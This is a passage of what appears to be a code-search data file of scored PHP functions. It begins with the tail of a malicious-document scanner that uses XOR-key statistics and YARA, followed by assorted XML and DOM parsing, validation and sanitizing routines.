$match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t\tif ($has_exe == 1) {\n\t\t\t$result['key'] = $subres['key'];\n\t\t\t$result['key_len'] = $subres['key_len'];\n\t\t\t$result['key_occ'] = $subres['key_occ'];\n\t\t\t$result['key_rank'] = $subres['key_rank'];\n\t\t\t$result['key_entropy'] = $subres['key_entropy'];\n\t\t\t$result['h_dispersion'] = $subres['h_dispersion'];\n\t\t\t$result['h_distribution'] = $subres['h_distribution'];\n\t\t\tif (isset($subres['key_zero']))\n\t\t\t\t$result['key_zero'] = $subres['key_zero'];\n\t\t\t$result['key_hash'] = $subres['key_hash'];\n\t\t\t$result['is_malware'] = 1;\n\t\t\t$result['has_exe'] = 1;\n\t\t}\n\n\t}\n\n\t//check near the end of file\n\tif ($result['has_exe'] == 0 && isset($result['key_blocks'])&& $fsize > 20000 && $global_paranoid == 1) {\n\t\t//echo \"trigger special case for dropped document uses a different key then exe, inverse3\\n\";\n\t\t//echo $result['key_blocks'].\"\\n\";\n\t\t$checkFile = strlen($result['key_blocks']);\n\t\t$magicSize = number_format($checkFile * 0.14 * 1024, 0, '.', '');\n\t\tif ($magicSize > 64000) $magicSize = 64000;\n\t\t//echo \"-$magicSize\\n\";\n\t\t//echo (-$magicSize*3).\" $magicSize\\n\";\n\t\t$subres = cryptoStat(substr($data, -$magicSize*3, $magicSize));\n\t\t//var_dump($subres);\n\t\t$submalw = scanFile($data, $subres['key']);\n\n\t\t//var_dump($submalw);\n\n\n\t\tforeach ($submalw as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t\tif ($has_exe == 1) {\n\t\t\t$result['key'] = $subres['key'];\n\t\t\t$result['key_len'] = $subres['key_len'];\n\t\t\t$result['key_occ'] = $subres['key_occ'];\n\t\t\t$result['key_rank'] = $subres['key_rank'];\n\t\t\t$result['key_entropy'] = $subres['key_entropy'];\n\t\t\t$result['h_dispersion'] = $subres['h_dispersion'];\n\t\t\t$result['h_distribution'] = $subres['h_distribution'];\n\t\t\tif (isset($subres['key_zero']))\n\t\t\t\t$result['key_zero'] = $subres['key_zero'];\n\t\t\t$result['key_hash'] = $subres['key_hash'];\n\t\t\t$result['is_malware'] = 1;\n\t\t\t$result['has_exe'] = 1;\n\t\t}\n\n\t}\n\n\n\t$result['completed'] = 1;\n\t$result['summary'] = $summary;\n\t$result['severity'] = $severity;\n\t$result['key_rol'] = $rol;\n\t$result['key_not'] = $not;\n\t$result['key_tp'] = $tp;\n\t$result['key_la'] = $la;\n\t$result['key_tph'] = $tph;\n\t$result['key_math'] = $math;\n\t$result['has_exe'] = $has_exe;\n\t$result['hits'] = $hits;\n\n\t//yara original file\n\tif (isset($global_yara_sig) && is_readable($global_yara_sig)) {\n\t\t//check if file is pk openxml\n\t\tif (substr($data, 0, 2) == \"PK\") {\n\t\t\t$path = $filename;\n\t\t\t$archive_dir = $path.\".zarchive\".uniqid().\"/\";\n\t\t\t$unarchive_out = exec(\"$global_zip \".escapeshellarg($path).\" -d \".escapeshellarg($archive_dir).\" > /dev/null\");\t\n\t\t\t\n\t\t\tif (file_exists($archive_dir)) {\n\t\t\t\t//yara in unzipped files\n\t\t\t\t$yhits = yara_wrapper_dir($archive_dir);\n\t\t\t\t\n\t\t\t\tif (is_array($yhits)) {\n\t\t\t\t\tforeach ($yhits as $k => $v) {\n\t\t\t\t\t\tarray_push($result['yara'], $k);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tforeach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($archive_dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {\n\t\t\t\t\t$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname());\n\t\t\t\t}\n \t\t\t\trmdir($archive_dir);\n\t\t\t} else {\n\t\t\t\techo \"unzip failed\\n\";\n\t\t\t}\n\n\t\t}\n\n\n\n\t\t$yhits = yara_wrapper_file($filename);\n\t\tforeach ($yhits as $k => $v) {\n\t\t\tarray_push($result['yara'], $k);\n\t\t}\n\t}\n\n\t//extract embedded files\n\tif ($result['has_exe'] > 0) {\n\t\t$decoded = multiDecode($data, $result);\n\t\tif ($decoded != $data)\n\t\t\t$files = dump_pe($decoded, $filename, $tph, \"datastore\");\n\t\telse\n\t\t\t$files = dump_pe($decoded, $filename, $tph);\n\n\t\tforeach ($files as $loc => $filemeta) {\n\t\t\t$result['summary'] .= \"dropped.file \".$filemeta['ext'].\" \".$filemeta['md5'].\" / \".$filemeta['len'].\" bytes / @ \".$loc.\"\\n\";\n\n\t\t\t//yara dropped files\n\t\t\tif (isset($global_yara_sig) && is_readable($global_yara_sig)) {\n\t\t\t\t$yhits = yara_wrapper_file($filemeta['filename']);\n\t\t\t\tforeach ($yhits as $k => $v) {\n\t\t\t\t\tarray_push($result['yara'], $k);\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t}\n\n\n\t\t//yara xored section\n\t\tif (isset($global_yara_sig) && is_readable($global_yara_sig)) {\n\t\t\t$yhits = yara_wrapper($decoded);\n\t\t\tforeach ($yhits as $k => $v) {\n\t\t\t\tarray_push($result['yara'], $k);\n\t\t\t}\n\t\t}\n\n\t\tif ($decoded != $data)\n\t\t\tfile_put_contents($filename.\".decoded\", $decoded);\n\n\t}\n\n\t$result['yara'] = array_unique($result['yara']);\n\n\treturn $result;\n}", "title": "" }, { "docid": "0ee17a81db7553dda0b8da780b1b9ec6", "score": "0.41928738", "text": "function check_valid_xml($id, $target_path, $defaultlabels, $apply, $country_code, $language_code, $findline='')\n{\n global $debug_obj, $templates_obj;\n\n $arguments = array($id, $target_path, $defaultlabels, $apply);\n $debug_obj->WriteDebug($class=\"fileupload\", $function=\"check_valid_xml\", $file=$findline['file'], $debug_obj->FindFunctionCalledline('check_valid_xml', $findline['file'], $findline['line']), $arguments);\n\n $xml = new DOMDocument();\n $xml->load($target_path);\n if(!$xml->schemaValidate(\"../data/xml/temp/labels.xsd\")) // validate xml with the pre defined name space \n {\n $message = \"<div class='error' id='0'>There was a problem in the XML uploaded. Reason: XML Tags are missing/mismatch.</div>\";\n }\n else\n {\n $labels = array();\n $lablenames = array();\n $labels = '';\n $xml = simplexml_load_file($target_path);\n foreach ($xml->Home[0]->homelabel as $homelabel) {\n $lablenames[] = (string) $homelabel['for'];\n }\n foreach ($xml->Mobile[0]->mobilelabel as $mobilelabel) {\n $lablenames[] = (string) $mobilelabel['for'];\n }\n foreach ($xml->Anyphone[0]->anyphonelabel as $anyphonelabel) {\n $lablenames[] = (string) $anyphonelabel['for'];\n }\n foreach($lablenames as $child)\n {\n if (in_array($child, $defaultlabels)) {\n $labels[] = 1;\n }\n else {\n $labels[] = 0;\n }\n }\n if (in_array(0, $labels)) { // display error if lables is missing \n $message = \"<div class='error' id='0'>There was a problem in the XML uploaded. Reason: Label attributes changed.</div>\";\n }\n elseif(count($defaultlabels) != count($lablenames)) {\n $message = \"<div class='error' id='0'>There was a problem in the XML uploaded. Reason: Label attributes changed.</div>\";\n }\n else\n {\n $xml = simplexml_load_file($target_path);\n foreach($xml->attributes() as $key => $value)\n {\n if($key == 'country_code') {\n if($value != $country_code) {\n $error = \"<div class='error' id='0'>Select Valid Country XML.\";\n }\n }\n if($key == 'language_code') {\n if($value != $language_code) {\n $error = \"<div class='error' id='0'>Select Valid Language XML.\";\n }\n }\n }\n if($error == '')\n $message = \"<div class='success' id='1'>XML file uploaded successfully.</div>\";\n else\n $message = $error;\n }\n }\n return $message;\n}", "title": "" }, { "docid": "2286cacd3798b283d67dc80c2bfaafe5", "score": "0.41922814", "text": "function reindex() {\n // reset them\n $this->_data = array();\n // get the DOM root's children\n foreach ($this->root->children() as $kid) {\n // extract the attribute value to use for indexing\n $key = (string) $kid[$this->_key_attr];\n // append (hyphen separated) second part of key if appropriate\n if (isset($this->_key2_attr))\n $key .= '-' . $kid[$this->_key2_attr];\n // store this in our kay table\n $this->_data[$key] = $kid;\n }\n // sort the table by key\n if (count($this->_data) > 0)\n ksort($this->_data);\n // reset the cursor\n reset($this->_data);\n }", "title": "" }, { "docid": "9045ef6479ca26c30f07691da7a9b788", "score": "0.41799566", "text": "public function setDocument(\\DOMDocument $document);", "title": "" }, { "docid": "f0a6fee18e3b2cd900c88a1033750182", "score": "0.4171226", "text": "public function useClean()\n {\n $this->clean = true;\n }", "title": "" }, { "docid": "44f04611a18ba94139542b1aee8718c0", "score": "0.41644976", "text": "private function xml2Obj(DOMDocument $dom, $tag)\n {\n $node = $dom->getElementsByTagName($tag)->item(0);\n $newdoc = new DOMDocument('1.0', 'utf-8');\n $newdoc->appendChild($newdoc->importNode($node, true));\n $xml = $newdoc->saveXML();\n unset($newdoc);\n $xml = str_replace('<?xml version=\"1.0\" encoding=\"UTF-8\"?>', '', $xml);\n $xml = str_replace('<?xml version=\"1.0\" encoding=\"utf-8\"?>', '', $xml);\n $xml = str_replace('&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;', '', $xml);\n $xml = str_replace('&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;', '', $xml);\n\n $xml = str_replace(['&lt;', '&gt;'], ['<', '>'], $xml);\n $docret = new DOMDocument('1.0', 'utf-8');\n $docret->loadXML($xml);\n $ret = $docret->getElementsByTagName($tag);\n if ($ret->length > 0) {\n $xml = $ret->item(1);\n $xml = $docret->saveXML($xml);\n }\n\n $resp = simplexml_load_string($xml, null, LIBXML_NOCDATA);\n $std = json_encode($resp);\n $std = str_replace('@attributes', 'attributes', $std);\n $std = json_decode($std);\n return $std;\n }", "title": "" }, { "docid": "ed3e85db6226b682984518c399df7768", "score": "0.4153905", "text": "private function update_link_stylesheet() {\n $links = $this->dom->getElementsByTagName('link');\n\n foreach ($links as $link) {\n $rel = $link->getAttribute(\"rel\");\n $href = $link->getAttribute(\"href\");\n if (($rel != 'stylesheet') || ($href == '')) {\n continue;\n }\n $saved = $this->io->save_url_file($href);\n if (empty($saved['url'])) {\n $url = $href; // Skipped, use original URL.\n } else {\n $this->update_link_stylesheet_parse($saved['file'], dirname($href));\n $url = $this->io->get_url_for_file($saved['url']);\n }\n $link->setAttribute('href', $url);\n }\n }", "title": "" }, { "docid": "eb5cebb843a1a40d302996bcf2095224", "score": "0.4140427", "text": "function unserialize_process(&$xml) \n {\n // Create SAX parser assign this object as base for handlers\n // handlers are private methods defined below.\n // keep contexts and parse\n $this->parser = xml_parser_create(); \n xml_parser_set_option($this->parser,XML_OPTION_CASE_FOLDING,0);\n //xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE, 1);\n xml_set_object($this->parser, $this);\n xml_set_element_handler($this->parser, '_start_element_handler', '_end_element_handler');\n xml_set_character_data_handler($this->parser, '_data_handler'); \n $aux=Array(\n 'name'=>'root',\n 'children'=>Array(),\n 'parent' => 0,\n 'data'=>'', \n 'attribs'\t=> Array(),\n );\n $this->tree[0]=$aux;\n $this->current=0;\n\t\n\t\n if (!xml_parse($this->parser, $xml, true)) {\n $error = sprintf(\"XML error: %s at line %d\",\n xml_error_string(xml_get_error_code($this->parser)),\n xml_get_current_line_number($this->parser));\n trigger_error($error,E_USER_WARNING);\n $this->error[] = $error;\n }\n xml_parser_free($this->parser); \n // Now that we have the tree we can do interesting things\n \n $process=Array();\n $activities=Array();\n $transitions=Array();\n for($i=0;$i<count($this->tree[1]['children']);$i++) {\n // Process attributes\n $z=$this->tree[1]['children'][$i];\n $name = trim($this->tree[$z]['name']);\n \n //config values\n if ($name=='configs') {\n for($j=0;$j<count($this->tree[$z]['children']);$j++) {\n $z2 = $this->tree[$z]['children'][$j];\n // this is a config $name = $this->tree[$z2]['name'];\n $aux = Array();\n if($this->tree[$z2]['name']=='config') {\n for($k=0;$k<count($this->tree[$z2]['children']);$k++) {\n $z3 = $this->tree[$z2]['children'][$k];\n $name = trim($this->tree[$z3]['name']);\n $value= trim($this->tree[$z3]['data']);\n $aux[$name]=$value;\n }\n $configs[]=$aux;\n }\n } \n }\n //activities\n elseif($name=='activities') {\n for($j=0;$j<count($this->tree[$z]['children']);$j++) {\n $z2 = $this->tree[$z]['children'][$j];\n // this is an activity $name = $this->tree[$z2]['name'];\n $aux = Array();\n if($this->tree[$z2]['name']=='activity') {\n for($k=0;$k<count($this->tree[$z2]['children']);$k++) {\n $z3 = $this->tree[$z2]['children'][$k];\n $name = trim($this->tree[$z3]['name']);\n $value= trim($this->tree[$z3]['data']);\n if($name=='roles') {\n $roles=Array();\n for($l=0;$l<count($this->tree[$z3]['children']);$l++) {\n $z4 = $this->tree[$z3]['children'][$l];\n $name = trim($this->tree[$z4]['name']);\n $data = trim($this->tree[$z4]['data']);\n $attribs = $this->tree[$z4]['attribs'];\n $readonly = false;\n if ( (isset($attribs['readonly'])) && ($attribs['readonly']))\n {\n //role in read-only\n $readonly = true;\n }\n $roles[]=array(\n 'name' \t=> $data,\n 'readonly'\t=> $readonly,\n );\n }\n } \n elseif ($name=='agents') \n {\n $agents=Array();\n for($l=0;$l<count($this->tree[$z3]['children']);$l++) \n {\n $z4 = $this->tree[$z3]['children'][$l];\n //$name is agent\n $name = trim($this->tree[$z4]['name']);\n if ($name = 'agent')\n {\n $agent = array();\n for($m=0;$m<count($this->tree[$z4]['children']);$m++)\n {\n $z5 = $this->tree[$z4]['children'][$m];\n //$name is agent_type or agent_datas\n $name = trim($this->tree[$z5]['name']);\n // data will be the agent_type or an array for agent_datas\n $data = trim($this->tree[$z5]['data']);\n if ($name=='agent_type') \n {\n $agent['wf_agent_type']=$data;\n } \n elseif ($name=='agent_datas') \n {\n for($n=0;$n<count($this->tree[$z5]['children']);$n++)\n {\n $z6 = $this->tree[$z5]['children'][$n];\n //$name is agent_data $val is an array\n $name = trim($this->tree[$z6]['name']);\n $val = trim($this->tree[$z6]['data']);\n if ($name=='agent_data')\n {\n for($o=0;$o<count($this->tree[$z6]['children']);$o++)\n {\n $z7 = $this->tree[$z6]['children'][$o];\n //$name is agent_data $val is 'name' or 'value'\n $name = trim($this->tree[$z7]['name']);\n $content = trim($this->tree[$z7]['data']);\n //echo \"<br>z7 name $name content: $content\";\n if ($name=='name')\n {\n $agent_data_name = $content;\n }\n elseif ($name=='value')\n {\n $agent_data_value =& $content;\n }\n }\n //echo \"<br>associate $agent_data_name to $agent_data_value <hr>\";\n $agent[$agent_data_name] = $agent_data_value;\n }\n }\n }\n }\n $agents[]=$agent;\n }\n }\n } else {\n $aux[$name]=$value;\n //print(\"$name:$value<br/>\");\n }\n }\n $aux['agents']=$agents;\n $aux['roles']=$roles;\n $activities[]=$aux;\n }\n }\n } elseif($name=='transitions') {\n for($j=0;$j<count($this->tree[$z]['children']);$j++) {\n $z2 = $this->tree[$z]['children'][$j];\n // this is an activity $name = $this->tree[$z2]['name'];\n $aux=Array();\n if($this->tree[$z2]['name']=='transition') {\n for($k=0;$k<count($this->tree[$z2]['children']);$k++) {\n $z3 = $this->tree[$z2]['children'][$k];\n $name = trim($this->tree[$z3]['name']);\n $value= trim($this->tree[$z3]['data']);\n if($name == 'from' || $name == 'to') {\n $aux[$name]=$value;\n }\n }\n }\n $transitions[] = $aux;\n }\n } else {\n $value = trim($this->tree[$z]['data']);\n //print(\"$name is $value<br/>\");\n $process[$name]=$value;\n }\n }\n $process['configs']=$configs;\n $process['activities']=$activities;\n $process['transitions']=$transitions;\n return $process;\n }", "title": "" }, { "docid": "41c1bd7cd82f3acb9de582524027c97b", "score": "0.4130704", "text": "public static function cleanCache($id, $parentOld)\r\n {\r\n unset(static::$_children[$parentOld]);\r\n unset(static::$_nodes[$id]);\r\n unset(static::$_i18n[$id]);\r\n\r\n $node = static::node($id);\r\n if (!empty($node)) {\r\n unset(static::$_children[$node->parent_id]); // after update node can get new parent\r\n }\r\n }", "title": "" }, { "docid": "012cb6c14d6e7cd2386eaa52b0b70752", "score": "0.41276073", "text": "protected function setFileToXmlObject($fileId, $tag, IDMS $idms, callable $callback) {\n\n $xpath = \"(//XmlStory//XMLElement[@MarkupTag='$tag'])[last()]\";\n $xmlElement = $idms->getXml()->xpath($xpath)[0];\n\n if ($xmlElement) {\n $xmlContentId = (string) $xmlElement['XMLContent'];\n\n $xpath = \"//Image[@Self='$xmlContentId']\";\n\n if ($xmlElement = $idms->getXml()->xpath($xpath)) {\n $xmlElement = $xmlElement[0];\n /** @var \\Drupal\\file\\Entity\\File $file */\n $file = $this->entityTypeManager\n ->getStorage('file')\n ->load($fileId);\n\n $filename = pathinfo($file->getFileUri())['basename'];\n\n $xmlElement->Link['LinkResourceURI'] = 'file:assets/' . $filename;\n $xmlElement->Link['StoredState'] = 'Normal';\n\n if (is_callable($callback)) {\n $callback($xmlElement, $file);\n }\n return $xmlElement;\n\n }\n }\n }", "title": "" }, { "docid": "8f9d40371f5568c75df6a72754d4d269", "score": "0.41173905", "text": "public function __construct($resource,$copy=true) {\n $this->dom=false;\n\n if ($copy==true){\n if (is_a($resource, \"escidoc\\XMLNode\")){\n $this->dom=new DOMDocument($resource->dom->xmlVersion,$resource->dom->encoding);\n $this->dom->appendChild($this->dom->importNode($resource->resource,true));\n $this->resource=$this->dom->documentElement;\n }else if ($resource instanceof DOMDocument){\n $this->dom=new DOMDocument($resource->xmlVersion, $resource->encoding);\n $this->dom->appendChild($this->dom->importNode($resource->firstChild,true));\n $this->resource=$this->dom->documentElement;\n }else if ($resource instanceof DOMNode || $resource instanceof DOMElement){\n $this->dom=new DOMDocument($resource->ownerDocument->xmlVersion,$resource->ownerDocument->encoding);\n $this->dom->appendChild($this->dom->importNode($resource,true));\n $this->resource=$this->dom->documentElement;\n }\n }else{\n if (is_a($resource, \"escidoc\\XMLNode\")){ \n $this->resource=$resource->resource;\n $this->dom=$resource->dom;\n $this->xpath=$resource->xpath;\n return;\n }else if ($resource instanceof DOMNode || $resource instanceof DOMElement){\n $this->dom=$resource->ownerDocument;\n $this->resource=$resource;\n }else if ($resource instanceof DOMDocument){\n $this->dom=$resource;\n $this->resource=$resource->documentElement;\n }\n }\n\n if (!($this->dom instanceof DOMDocument) && is_string($resource)){\n $this->dom=DOMDocument::loadXML($resource);\n $this->resource=$this->dom->documentElement;\n }\n\n if (!($this->dom instanceof DOMDocument))\n throw new Exception (\"Failed to create object from: \".print_r($resource));\n \n $this->xpath=new DOMXPath($this->dom);\n\n foreach (EscidocNamespaces::getUris() as $prefix=>$uri)\n $this->registerNS ($prefix, $uri);\n\n }", "title": "" }, { "docid": "91d4764631f66ad2461d73a041dfcc82", "score": "0.4114513", "text": "public function fixXmlFile() {\n //this way the files will be fixed and ready to be parsed by an xml parser, but this is not\n //the method used in this solution\n $this->xmlFile = str_replace(\"<var name=“TestRunName”>\", \"<var name=“TestRunName”> </var><br></br>\", $this->xmlFile);\n $this->xmlFile = str_replace(\"<var name=“IterationNo”>\", \"<var name=“IterationNo”> </var><br></br>\", $this->xmlFile);\n $this->xmlFile = str_replace(\"<var name=“RandomText”>\", \"<var name=“RandomText”> </var>\", $this->xmlFile);\n $this->xmlFile = str_replace(\"<var name=“../RandomText”>\", \"<var name=“../RandomText”> </var><br></br>\", $this->xmlFile);\n $this->xmlFile = str_replace([\"“\", \"”\"], \"'\", $this->xmlFile);\n return $this;\n }", "title": "" }, { "docid": "da34a6a0aac98c17f6f42d5e8e6bd46b", "score": "0.4114118", "text": "public function testSanitizeAndMinifiySVGDoc()\n {\n $dataDirectory = __DIR__ . '/data';\n $initialData = file_get_contents($dataDirectory . '/svgTestOne.svg');\n $expected = file_get_contents($dataDirectory . '/svgCleanOneMinified.svg');\n\n $this->class->minify(true);\n $cleanData = $this->class->sanitize($initialData);\n $this->class->minify(false);\n\n $this->assertXmlStringEqualsXmlString($expected, $cleanData);\n }", "title": "" }, { "docid": "27f1e13d290f92d058721f61f760adec", "score": "0.41112515", "text": "protected function ReturnXmlDocument($url, $xmlString = null)\r\n {\r\n global $sru_fcs_params;\r\n $url = $this->ReplaceLocalHost($url);\r\n if ($sru_fcs_params->recordPacking !== 'raw') {\r\n header(\"content-type: text/xml; charset=UTF-8\");\r\n }\r\n $xml = new IndentDOMDocument();\r\n if (($url === \"\") && ($xmlString !== null)) {\r\n $xml->loadXML($xmlString); \r\n } elseif ($this->url_exists($url)) {\r\n $upstream = EpiCurl::getInstance()->addCurl(curl_init($url));\r\n $xmlString = $upstream->data;\r\n try {\r\n $xml->loadXML($xmlString); \r\n } catch (ErrorOrWarningException $exc) {\r\n \\ACDH\\FCSSRU\\diagnostics(new SRUDiagnostics(1, \"Invalid XML form upstream:\\r\\n\"\r\n .(isset($exc->getContext()['url']) ? htmlentities($exc->getContext()['url'], ENT_XML1).\"\\r\\n\" : '')\r\n .(isset($exc->getContext()['xmlString']) ? $exc->getContext()['xmlString'] : '')\r\n ));\r\n return;\r\n }\r\n } else {\r\n //\"Unsupported context set\"\r\n \\ACDH\\FCSSRU\\diagnostics(15, str_replace(\"&\", \"&amp;\", $url));\r\n return;\r\n }\r\n if (stripos($sru_fcs_params->xformat, 'tei') !== false) {\r\n $xpath = new \\DOMXPath($xml);\r\n // forcebly register xmlns:tei\r\n $xml->createAttributeNS('http://www.tei-c.org/ns/1.0', 'tei:create-ns');\r\n // forcebly register xmlns:fcs\r\n $xml->createAttributeNS('http://clarin.eu/fcs/1.0', 'fcs:create-ns');\r\n // forcebly register xmlns:zr\r\n $xml->createAttributeNS('http://explain.z3950.org/dtd/2.0/', 'zr:create-ns');\r\n $tei = $xpath->query('//fcs:DataView[@type=\"full\"]/tei:*|//zr:description/tei:*');\r\n if ($tei->length === 1) {\r\n $newRoot = $tei->item(0);\r\n } else {\r\n $newRoot = $this->wrapInMinimalTEI($xml, $tei);\r\n }\r\n $xml->replaceChild($newRoot, $xml->childNodes->item(0));\r\n }\r\n $xml->formatOutput = true;\r\n $xml->setWhiteSpaceForIndentation(\" \")->xmlIndent();\r\n $output = str_replace('xmlns:default=', 'xmlns:tei=',\r\n str_replace('</default:', '</tei:',\r\n str_replace('<default:', '<tei:', $xml->saveXML())));\r\n echo $output;\r\n}", "title": "" }, { "docid": "722ff125353da8499d6d4c27b2df5d62", "score": "0.41087514", "text": "public function cleanUpBrokenLinksAction()\n {\n $this->fileRemoveService->cleanUpBrokenSymlinks();\n }", "title": "" }, { "docid": "a223e4ad528cafbdd9a8bd7629c159be", "score": "0.41078472", "text": "public function testSanitizeHrefs()\n {\n $dataDirectory = __DIR__ . '/data';\n $initialData = file_get_contents($dataDirectory . '/hrefTestOne.svg');\n $expected = file_get_contents($dataDirectory . '/hrefCleanOne.svg');\n\n $cleanData = $this->class->sanitize($initialData);\n\n $this->assertXmlStringEqualsXmlString($expected, $cleanData);\n }", "title": "" }, { "docid": "71767db6c7c70d3e97b7f7a878653a44", "score": "0.41047186", "text": "function AgregaComplementoXML($xmlsat, $debtorno, $iddocto, $db) {\n\n\n $xml = new DOMdocument ();\n $xml->loadXml($xmlsat);\n $root = new DOMXPath($xml);\n $comprobante = $root->query(\"/cfdi:Comprobante\");\n $complemento = $root->query(\"/cfdi:Comprobante/cfdi:Complemento\");\n $root = $complemento->item(0);\n\n $SQL = \"SELECT cfdicomplement.id,\n cfdicomplement.complement,\n cfdicomplement.complementfile\n FROM debtorcomplement\n INNER JOIN cfdicomplement ON cfdicomplement.id = debtorcomplement.idcomplement\n WHERE debtorcomplement.debtorno = '\" . $debtorno . \"'\n AND cfdicomplement.active = 1\";\n\n $Result = DB_query($SQL, $db);\n if (DB_num_rows($Result) == 0) {\n $idcomplement = 0;\n } else {\n $myrowpag = DB_fetch_array($Result);\n $idcomplement = $myrowpag ['id'];\n $complementfile = $myrowpag ['complementfile'];\n }\n\n if ($idcomplement > 0) {\n\n // $complements = array ();\n // $xmlRoot = $xml->documentElement;\n // foreach ( $xmlRoot->getElementsByTagName ( 'Complemento' ) as $complement ) {\n // $complements [] = $complement;\n // }\n // foreach ( $complements as $complement ) {\n // $xmlRoot->removeChild ( $complement );\n // }\n\n include_once ($complementfile);\n\n $xml->formatOutput = true;\n $xmlwhitcomplemt = $xml->saveXML();\n } else {\n $xmlwhitcomplemt = $xmlsat;\n }\n\n return $xmlwhitcomplemt;\n}", "title": "" }, { "docid": "dfdc142c3bd29c1705e38e5da1f338f0", "score": "0.41009444", "text": "private function _clean() {\n\t\t$this->__construct();\n\t}", "title": "" }, { "docid": "e99f0ae85af748b76ebc0f86bfad4d95", "score": "0.4099805", "text": "public function processDoctype($docXmlId) {\n $domxpath = $this->getDOMXPath($docXmlId);\n \n $this->currentId = $this->getXPathData($domxpath, str_replace('%%TYPE%%',$this->currentDoctype, $this->docId));\n $this->currentTitle = $this->getXPathData($domxpath, str_replace('%%TYPE%%',$this->currentDoctype, $this->docTitle));\n $this->currentDoctypefile = $this->getXPathData($domxpath, str_replace('%%TYPE%%',$this->currentDoctype, $this->docDoctypefile));\n $this->currentPhase = $this->getXPathData($domxpath, str_replace('%%TYPE%%',$this->currentDoctype, $this->docPhase));\n $this->currentUrl = $this->getUrl();\n $this->currentExportType = 'BlockPbl';\n \n $this->processXml();\n \n $this->currentId = ''; ## UNSET\n $this->currentTitle = ''; ## UNSET\n $this->currentDoctypefile = ''; ## UNSET\n $this->currentPhase = ''; ## UNSET\n $this->currentUrl = ''; ## UNSET\n $this->currentExportType = ''; ## UNSET\n \n }", "title": "" }, { "docid": "202fbcf83725baf1e16367116c6f54b8", "score": "0.40885085", "text": "public function killDocument() {\r\n \r\n $this->doc = null;\r\n $this->cache = null;\r\n $this->cache_size = 0;\r\n \r\n return true;\r\n }", "title": "" }, { "docid": "d242154c3da4a76d7c516036bebb2b99", "score": "0.40828454", "text": "protected function GetDomDocument($url)\r\n {\r\n $url = $this->ReplaceLocalHost($url);\r\n\r\n if ($this->url_exists($url))\r\n {\r\n $xmlDoc = new \\DOMDocument();\r\n// $oldErrorHandler = set_error_handler(\"\\\\ACDH\\\\FCSSRU\\\\switchAggregator\\\\exception_error_handler\");\r\n try {\r\n// $ctx = stream_context_create(array('http' =>\r\n// array(\r\n// 'timeout' => '180'\r\n// )));\r\n// $upstream = fopen($url, 'r', false, $ctx);\r\n// $xmlString = stream_get_contents($upstream); \r\n $upstream = EpiCurl::getInstance()->addCurl(curl_init($url));\r\n $xmlString = $upstream->data;\r\n $code = $upstream->code;\r\n if (($code === 200) && ($xmlString !== '')) {\r\n try {\r\n $xmlDoc->loadXML($xmlString);\r\n } catch (\\ACDH\\FCSSRU\\ErrorOrWarningException $e) {\r\n if (strpos($e->getMessage(), 'already defined in Entity') !== false) {\r\n throw new DOMProcessingWarning($xmlDoc, \r\n $e->getMessage(), $e->getCode(), \r\n 0, $e->getFile(), $e->getLine(), $e);\r\n } else {\r\n $message = $e->getMessage() . \"\\n\" . htmlspecialchars($xmlString, ENT_XML1);\r\n throw new ErrorOrWarningException($e->getCode(), $message, $e->getFile(), $e->getLine(), $e->getContext());\r\n }\r\n }\r\n } else {\r\n $xmlDoc->load($url); \r\n }\r\n } catch (DOMProcessingError $exc) {\r\n// $this->ReturnSomeFile($url, \"content-type: text/plain\");\r\n throw $exc;\r\n }\r\n restore_error_handler();\r\n\r\n return $xmlDoc;\r\n }\r\n $error = new SRUDiagnostics(1, \"$url does not exist.\");\r\n throw new ESRUDiagnostics($error);\r\n }", "title": "" }, { "docid": "dd7742828052a74a70bd704685578d85", "score": "0.4076032", "text": "private function reset()\n {\n // Drop references to old DOM document.\n unset($this->properties['xpath'], $this->properties['head'], $this->properties['body']);\n\n // Reference of the document itself doesn't change here, but might need to change in the future.\n return $this;\n }", "title": "" }, { "docid": "258377f575f8580ade63d75db414fd8f", "score": "0.40698844", "text": "function handleFolderRename($old_name,$new_name)\n\t\t {\n\t\t \n\t\t /*\n\t\t * Find all links containing $old_name\n\t\t */\n $q = \" SELECT id,document_id \n FROM linkrefs \n WHERE target_file LIKE '\".mysql_real_escape_string($old_name).\"%'\";\n \n $r = mysql_query($q);\n \n while($dInf = mysql_fetch_assoc($r))\n {\n $did = $dInf['document_id'];\n\n /*\n * Take the document_id and fetch the file path of source document.\n * NOTE: document_index stores local file path. This doesn't matter\n * here, but keep that in mind should you make changes.\n */\n \n $q1 = \" SELECT file_path \n FROM document_index \n WHERE id = $did \n LIMIT 1\";\n \n $r1 = mysql_query($q1);\n $inf1 = mysql_fetch_assoc($r1);\n \n $src_path = $inf1['file_path'];\n \n /*\n * Have path to the source document.\n * We want to go through the source document, find the\n * $old_name in a a::href string, and replace it. Note as well\n * that it is very likely that the same link ref will exist\n * multiple times in a document. The linkrefs table will store\n * multiple target references for this document. As such, we\n * don't delete ALL occurrences of any given link, just the first\n * we find, then exit.\n *\n * Once links updated, replace file with new one...\n */\n \n /*\n * we can expect bad html, so suppress errors.\n 